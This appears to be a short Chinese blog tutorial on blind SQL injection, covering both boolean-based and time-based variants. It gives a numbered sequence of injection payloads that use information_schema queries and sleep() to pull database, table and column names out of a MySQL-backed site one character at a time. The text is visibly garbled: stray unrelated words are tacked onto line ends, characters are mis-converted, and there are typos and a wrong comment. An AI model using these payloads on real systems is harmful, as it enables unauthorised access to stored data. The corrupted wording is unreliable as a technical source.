布尔注入定义及原理:
所谓盲注就是在服务器没有错误回显的时候完成注入攻击。
盲注分为布尔盲注和时间盲注
布尔盲注:boolean 根据注入信息返回true or fales 没有任何报错信息
时间盲注:界面返回值ture 不管输入任何值,返回的状况都是正常的来处。加入特定的时间函数,经过查看web页面返回的时间差来判断注入的语句是否正确。web
布尔注入经常使用函数sql
length(str):返回str字符串的长度。 substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始 mid(str,pos,len):跟上面的同样,截取字符串 ascii(str):返回字符串str的最左面字符的ASCII代码值。 ord(str):同上,返回ascii码 if(a,b,c) :a为条件,a为true,返回b,不然返回c,如if(1>2,1,0),返回0
过程数据库
1.首先咱们须要判断数据库长度 ' or Length(database()) = 8 #返回true说明数据库长度为8 2.获取数据库名字 ' or ord(mid(database(),1,1)) ='ascill值'# 依次获取 3.获取表的总数 ' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2# 4.获取表的长度(第一个表) ' or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 )= (猜想得长度)# 5.获取表的内容 ' or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1) = 'a' # 6.获取表的字段的总数 ' or (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=表名 ) = 8#8返回true说明有8个表 依次类推,最后推出内容。由于是盲猜因此只能这样一个一个去推手工比较麻烦 一般使用sqlmap进行注入
延时注入
要是页面都返回false咱们就只能用if和sleep函数判断是ture仍是false
正确就延迟n秒返回,错误就0s返回数组
id=2 and Sleep( if( (SELECT count(SCHEMA_NAME) FROM information_schema.SCHEMATA) = 7 ,0,5 ) )好像这个是说若是数据库总数等于7的话0s返回不然5s
其余操做就跟布尔注入同样,走布尔思路就好了。服务器
整体思路 获取数据库的总数 获取别的数据库长度 获取别的数据库名字 获取当前数据库长度 获取当前数据库内容 获取当前数据库表的总数 获取当前数据库表的长度 获取当前数据库表的内容 获取当前数据库表的字段总数 获取当前数据库表的字段第2个长度 获取当前数据库表的字段第N个内容 获取内容
暂时总结到这里,布尔的话借助工具跑比较方便,手注太麻烦了。函数